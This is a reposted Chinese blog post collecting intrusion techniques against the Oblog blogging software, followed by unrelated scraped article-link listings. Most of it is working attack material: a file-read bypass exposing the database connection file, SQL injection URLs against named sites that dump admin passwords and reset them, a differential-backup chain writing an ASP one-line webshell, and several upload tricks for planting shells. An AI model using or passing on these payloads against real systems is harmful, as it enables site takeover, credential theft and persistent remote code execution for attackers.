1、显示,help/h_main.htm的内容,格式:http://test/blog/user_help.asp?file=help/h_whatblog.htm,如果换成asp文件是不是也可以显示?从代码中可以看出,不允许读扩展名为asp的文件,但是对别扩展名没有限制,我们只想要asp文件的内容,windowns不区分文件的大小写,我们把小写的asp换成大写的ASP,读取oBlog的数据库连接文件,http://test/blog/user_help.asp?file=conn.ASP

2、http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常

提交http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select username,password,3,4,5,6 from oblog_admin where id=(1
查看原代码,GID后是帐号   PID后是密码。

3、Oblog3.0漏洞曝光:

看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法。佩服,佩服。说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码:

sub moveblog() if id="" then Oblog.adderrstr("请指定要移动的日志") Oblog.showusererr exit sub end if dim subjectid subjectid=trim(request("subject")) if subjectid="" then Oblog.adderrstr("请指定要移动的目标专题") Oblog.showusererr exit sub else subjectid=Clng(subjectid) end if if instr(id,",")>0 then ‘如果id变量中含有逗号,去掉变量中的空格,执行下面的sql语句。设为第一条 id=replace(id," ","") sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql ‘否则执行这个sql语句,设为第二条。 else sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql end if Oblog.Execute sql dim blog,rs1 set blog=new class_blog blog.userid=Oblog.logined_uid blog.update_allsubjectid() blog.update_index_subject 0,0,0,"" set blog=nothing set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid) while not rs.eof set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0)) Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0)) rs.movenext wend set rs=nothing set rs1=nothing Oblog.showok "更新专题成功,需要重新发布首页,才可使专题统计准确!","" end sub 

再看看文件最上面对id变量的过滤:id=Oblog.filt_badstr(trim(Request("id"))),只用了这条语句,函数代码如下:

public function filt_badstr(str) If Isnull(Str) Then filt_badstr = "" Exit Function  End If Str = Replace(Str,Chr(0),"") filt_badstr = Replace(Str,"'","''") end function 

  只去掉了\0和单引号,呵呵,这怎能阻止我们的注入攻击呢,找个使用Oblog3.0 SQL版本的站点牛刀小试一下:构造环境测试语句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意语句最后面的”’”,否则不会成功的。

  以上注入我们选择的是第一条语句,多了限制条件,就是不能使用空格且提交的语句中要含有逗号。我们可以使用/**/来代替空格。由于限制条件多,以下测试中我们控制程序执行第二条语句。进一步环境刺探:

http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0-- http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。 

  嘿嘿,测试成功,由于注入语句中不能包含单引号,身经百战的我们当然很容易饶过这条限制,我喜欢使用SQL中的char函数饶过,正好手头有研究动易系统时写的char编码工具,先看看Oblog数据库的表结构,在Oblog_admin表中我们感兴趣的只有id,username和password字段,先暴出admin用户或者id唯一的管理员账号的密码来瞧瞧:

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password fromOblog_admin where id=1)--或者http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and1=(select password from Oblog_admin whereusername=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))-- 

  

其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是对提交的admin使用char函数的编码。返回结果。
我们先记下这个加密的字符串,在恢复管理员密码的时候需要再次使用。修改后台管理员的密码:

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38)where id=1-- 其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38)是469e80d32c0559f8字符串的编码,469e80d32c0559f8对应的md5明文为admin888,对字符串的编码可以使用如下的工具。

  当然大家也一定都有比着更好的工具。这样我们就将后台id为1的管理员的密码修改为admin888了,注意id为1的管理员对应的账号默认为admin如果你不确定,可以使用如下的语句查看:

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and1=(select username from Oblog_admin where id=1)— 

  修改完毕,登录一下后台看看是否成功修改管理员密码。good,我们已经拿到了后台管理权限了,爽哉。不要高兴的太早了,虽然我们进入了后台但是SQL版本不同于Access版本,前期两位大侠介绍的通过备份数据库获取WebShell的方法在SQL版本上是行不通的,看看admin_database.asp的如下代码大家就明白了:

dim dbpath dim ObjInstalled if not IsObject(conn) then link_database if is_sqldata=0 then dbpath=server.mappath(db) 

  

如果使用的是Access版本才初始化dbpath参数的。在这里我给大家介绍几种SQL版本获取WebShell的方法。先说说第一种比较通用的方法吧,利用SQL SERVER的特性,方法有通过xp_cmdshell,利用OLE对象接口,利用sp_makeWebtask,通过增量备份等等的方法。利用这些方法的一个必要的条件:Web物理路径我们可以从后台的管理首页中轻松获取。关于具体注入语句大家可以参看uploadshell.exe中的相关代码。在实现中注意处理掉其中的单引号。程序可以自动获取IE中的cookie信息。故无须填写cookie信息。

  关于利用后台功能上传shell,确实把我难为了半天,想得头都大了,刚开始方法是天使娃娃他们的想法是一样的添加个shtm上传文件类型,将conn.asp包含进去,这样只能看到数据库连接信息,如果对方装有防火墙或者权限不很高的话也不能获取shell,后来就想出添加aaspsp/和asp/上传文件类型,这样通过修改数据包提示上传成功,但是却没有真的上传成功了,很是郁闷。假期期间,也没有那么多时间去查找原因了,这时候忽然看到了在后台可以设置用户目录的,这时候突然记得网上曾经流传着对于windows2003系统和IIS6.0假设的Web平台有个特性,就是**.asp虚拟目录下的任何扩展名的文件都会被作为asp文件被解释执行的,想到这里差点兴奋的跳起来,嘿嘿。请看操作:在后台常规设置|用户目录管理中新建一个**.asp的目录。并将这个目录设置成为默认的目录,如上图所示。然后到网站去注册一个新的用户,然后进入管理中心,选择相册,上传一个asp木马的假gif文件。这样当我们访问这个gif文件的时候IIS会将此文件作为asp文件解析,我在本机使用Access版本做了测试发现能够把文件上传上去。但是在对SQL版本测试时发现并不能正确上传文件到这个目录的,出现如下的错误信息:

  ADODB.Stream 错误 '800a0bbc' 
写入文件失败。 
/inc/Upload.inc,行 312 
虽然不能成功,但这却是我们后台上传木马的好方法,因为大部分asp整站程序在后台都允许后台修改上传目录的,比如动易系统等。没办法,我们只能使用第一种方法了,开工。

  第一步:

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare@s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s-- 

  注意了,在语句中一定不能含有单引号的,

  第二步:

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])— 

  第三步:

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd)values(0x3C25657865637574652872657175657374282261222929253E)— 

  注意其中0x3C25657865637574652872657175657374282261222929253E为

  第四步:

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare@s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000;backup database @a to disk=@s WITH DIFFERENTIAL— 

  其中的0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065007
2007600650072005c006c006c0069006b007a002e00610073007000是在后台得到的Web的物理路径。

  利用增量备份只需要public的权限,应该是OBLOG 3.0 SQL版本拿WebShell的最好方法了。如果你感觉操作很复杂,那就不需要上传WebShell了,进后台把自己的账号修改为VIP用户,或者将上传空间修改为100000000KB,把blog当作一个网络优盘也不错的,呵呵。由于Oblog在互联网上的风靡,漏洞危害性很大,大家不要乱搞破坏哦。

4、注册qq.asp,qq.asa用户

-----------------------------------------------
总结拿WEBSHELL方法:

想必神無月兄弟 发布的OBLOG通杀4.0及4.5漏洞解析晚上又有一大批oblog倒下了,今天得到后台实验拿webshell,经过总结和自己心的,整理了一下

MSSQL就直接靠注入差异备份,LOG备份
AC:
  首先自己下同一个版本的OBLOG,用明小子打开里面的OBLOG.MDB,删掉防下载表
随便在一个表里插一句马,然后进目标站后台添加MDB上传类型,上传你刚刚那个处理过的MBD
然后恢复数据库(填你刚刚上传后的MDB地址) 然后备份就能拿到ASA的一句话了

如果是3.x
后台填加 gif|jpg|png|bmp|rar|zip|swf|doc|aaaspspaspsp
目录限制执行脚本,改上传文件夹为inc
顺利拿到shell

如果是4.0
管理用户等级--修改
可以添加上传类型为php 然后直接传php拿shell

用户目录管理 改成rrr.asp,然后发表日志,切换到html编辑模式得到
/oblog4/rrr.asp/rrrr/archives/2007/6.html   直接写一句话网马即可

如果是4.5,可以 ASP目录拿SHELL
可以的  在-网站信息配置-系统参数-上传目录那  把目录设置为空
创建一个*.ASP的用户目录 然后就是上传一个ASP马的图片 上传后就进manager后台看上传清单

转载于:https://www.cnblogs.com/allyesno/archive/2007/06/19/788590.html

Oblog的一些整理相关推荐

  1. Laogui整理的主流Blog 程序

    转自Laogui的Blog: 再次整理了一下主流Blog程序 几个月没关心blog了,blog程序局势发生了很大的变化,尤其在国内,在原有的那些程序功能越来越强大的同时,还出现了很多不错的blog,但 ...

  2. [08-16]绿色精品软件更新 华夏黑客联盟整理

    [img]http://www.hxhack.com/bbs/attachment/57_2930_db65c518837c5d6.gif[/img] 引用: 1.[文字处理] iNotepad Ve ...

  3. Map再整理,从底层源码探究HashMap

    前言 本文为对Map集合的再一次整理.内容包括:Map HashMap LinkedHashMap TreeHashMap HashTable ConcurrentHashMap Map Map< ...

  4. List再整理,从代码底层全面解析List(看完后保证收获满满)

    前言 本文为对List集合的再一次整理,从父集接口Collection到顶级接口Iterable再到线程不安全实现类:ArrayList.LinkedList,再到线程安全实现类:Vector(被弃用 ...

  5. LeetCode简单题之整理字符串

    题目 给你一个由大小写英文字母组成的字符串 s . 一个整理好的字符串中,两个相邻字符 s[i] 和 s[i+1],其中 0<= i <= s.length-2 ,要满足如下条件: 若 s ...

  6. TVM/Relay 的 PartitionGraph()(mod) 函数讨论整理

    TVM/Relay 的 PartitionGraph()(mod) 函数讨论整理 TVM/Relay 的图形分区功能.以下简单示例,错误信息. PartitionGraph() 函数指定图形是用带有 ...

  7. AIFramework基本概念整理

    AIFramework基本概念整理 本文介绍: • 对天元 MegEngine 框架中的 Tensor, Operator, GradManager 等基本概念有一定的了解: • 对深度学习中的前向传 ...

  8. Python库全部整理出来了,非常全面

    库名称简介 Chardet 字符编码探测器,可以自动检测文本.网页.xml的编码. colorama 主要用来给文本添加各种颜色,并且非常简单易用. Prettytable 主要用于在终端或浏览器端构 ...

  9. iOS面试题整理---关键字!!!

    关键字整理 static 1.static全局变量与普通的全局变量有什么区别? 全局变量(外部变量)的说明之前再冠以static 就构成了静态的全局变量.全局变量本身就是静态存储方式, 静态全局变量当 ...

  10. Redis 命令整理

    Redis 命令整理 一.从大而全的方向看,完整的命令查看文档地址: http://doc.redisfans.com/ 二.Redis 键(key)   常用 案例 三.Redis 字符串(Stri ...

最新文章

  1. Actionscript3.0动画编程中的几种特效举例
  2. Java程序员从阿里、百度面试回来,这些面试题你们会吗?
  3. PE文件结构(五岁以下儿童)基地搬迁
  4. 11无监听程序_腾讯开心鼠英语 小程序实践与总结
  5. dirname和basename命令
  6. pytorch 查看当前学习率_pytorch实现查看当前学习率
  7. linux镜像文件不要大于4g,Systemback制做大于4G的Ubuntu系统镜像
  8. 批处理定时执行任务_如何让你的西门子Wincc V14,每天定时自动执行某任务
  9. cartographer探秘第二章之论文解析
  10. 电音风靡全球,不了解一下吗?
  11. 紫色范冰冰WIN7主题包
  12. 基于深度学习的帧内预测技术
  13. 树莓派安装第三方操作系统
  14. 微信 朋友圈 缩略图 php,Wordpress分享微信朋友圈缩略图设置 | 听可科技|TMC
  15. 电脑用久了卡,学会这四招解决你的电脑卡顿问题!
  16. python 爬取歌曲程序_如何让程序像人一样的去批量下载歌曲?Python爬取付费歌曲...
  17. python验证码识别库底色深_基于机器学习的验证码识别
  18. 关于未来计算机的参考文献,近几年计算机毕业参考文献 哪里有计算机毕业参考文献...
  19. python自动发邮件报554错误_python3利用网易smtp服务器报554排查原因
  20. 软件技术的现状以及未来发展趋势

热门文章

  1. 谷歌浏览器开启JavaScript
  2. 搜狗AI走向产业改造:纵横捭阖术与录音笔的新声态
  3. 02_Unity小窍门100条(中)
  4. 基于SpringBoot体育用品购物商城-协同过滤推荐算法项目源代码
  5. 城市区号+mysql_中国城市区号脚本-mysql
  6. 孝当先健康管理品牌连锁项目说明会-南昌站圆满结束
  7. w7设置双显示器_4K+144Hz 支持FreeSync Acer XV273K显示器评测
  8. 个人税收计算器(只限长沙)全线仿照九米个税计算器
  9. php安装失败,PHP编译安装时常见错误解决办法
  10. c语言补偿算法,C功能刀具半径补偿算法与实现.doc